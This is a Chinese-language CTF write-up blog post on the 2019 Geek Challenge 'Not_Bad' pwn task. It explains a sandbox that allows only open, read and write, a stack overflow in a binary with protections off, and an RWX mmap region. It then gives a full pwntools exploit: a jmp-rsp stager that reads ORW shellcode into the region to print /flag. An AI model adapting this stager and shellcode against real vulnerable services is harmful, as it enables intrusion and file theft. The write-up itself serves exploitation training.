极客大挑战_2019-Not_Bad

D0wnBe@t Lv4

典型的ORW+mmap参数理解

题目连接

知识点

1.典型的沙箱,ORW

2.mmap参数的理解,参考这篇文章

1.ida速览

  • 已经修改了函数名,加入了沙箱

  • 发现是典型的ORW可用:

  • 查看一下主要部分:

存在明显的栈溢出,并且此题保护全关,可以直接写入shellcode。

简单思路

  • 关于mmap函数的参数可以参考开头的文章,此处的mmap会在指定的地址开辟一个0x1000的可写可执行区域(prot=6,不可读),因此我们可以在该地址写入shellcode,然后使之被调用就可以getflag。
  • 具体的构造看下面吧:

2.完整分析

1
2
3
4
5
6
# 可以先将已知的和需要的先构建出来
mmap = 0x123000
# 先构造好shellcode,典型的ORW
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,mmap,0x100)
shellcode += shellcraft.write(1,mmap,0x100)
  • 这里要解释一下read的第一个参数的含义,代表我要读的文件是第几个,即fd,所谓的3是因为
1
2
3
4
0 : stdin
1 : stdout
2 : stderr
3 :flag
  • shellcode是构造完了,但是这个shellcode的长度有0x52,能直接写吗?当然不行,栈空间不够啊,那要如何完成呢?
  • 我们可以在栈开头调用一个read,再将这个shellcode输入到mmap的地址,最后改变rax为mmap地址,再call就好了,那么初始的构造就如下了:
1
2
payload = asm(shellcraft.read(0,mmap,0x100)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28,b'\x00')
  • 这样我们就构造好了开始的结构,只要调用这个,再次输入shellcode,就可以getflag了,如何调用?可以参考我之前写的这篇博客
  • 我们只需要将ret_address改为jmp_rsp的地址,此时ret相当于执行pop rip,将rsp的值弹给rip,那么此时的rip就是jmp_rsp,同时,也由于pop rip中的pop,导致rsp+8,此时rsp指向下一条语句,即”sub rsp;0x30;jmp rsp”,rip此时jmp_rsp,相当于执行这段语句,那么便会执行栈开头的系统调用了
1
2
3
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp") # jmp_rsp为地址
p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload)

3.完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",28443)
def bug():
gdb.attach(p)
pause()

mmap = 0x123000
jmp_rsp =0x0000000000400a01

# 先构造好shellcode,典型的ORW
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,mmap,0x100)
shellcode += shellcraft.write(1,mmap,0x100)

# 将shellcode写在mmap开辟的固定地址,然后call该地址,执行shellcode
#bug()
payload = asm(shellcraft.read(0,mmap,0x100)) + asm("mov rax,0x123000;call rax")
payload = payload.ljust(0x28,b'\x00')
payload += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload)

p.sendline(asm(shellcode))
p.interactive()
  • 标题: 极客大挑战_2019-Not_Bad
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-16 15:43:19
  • 更新于 : 2024-11-14 11:41:55
  • 链接: http://downbeat.top/2024/09/16/极客大挑战-2019-Not-Bad/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论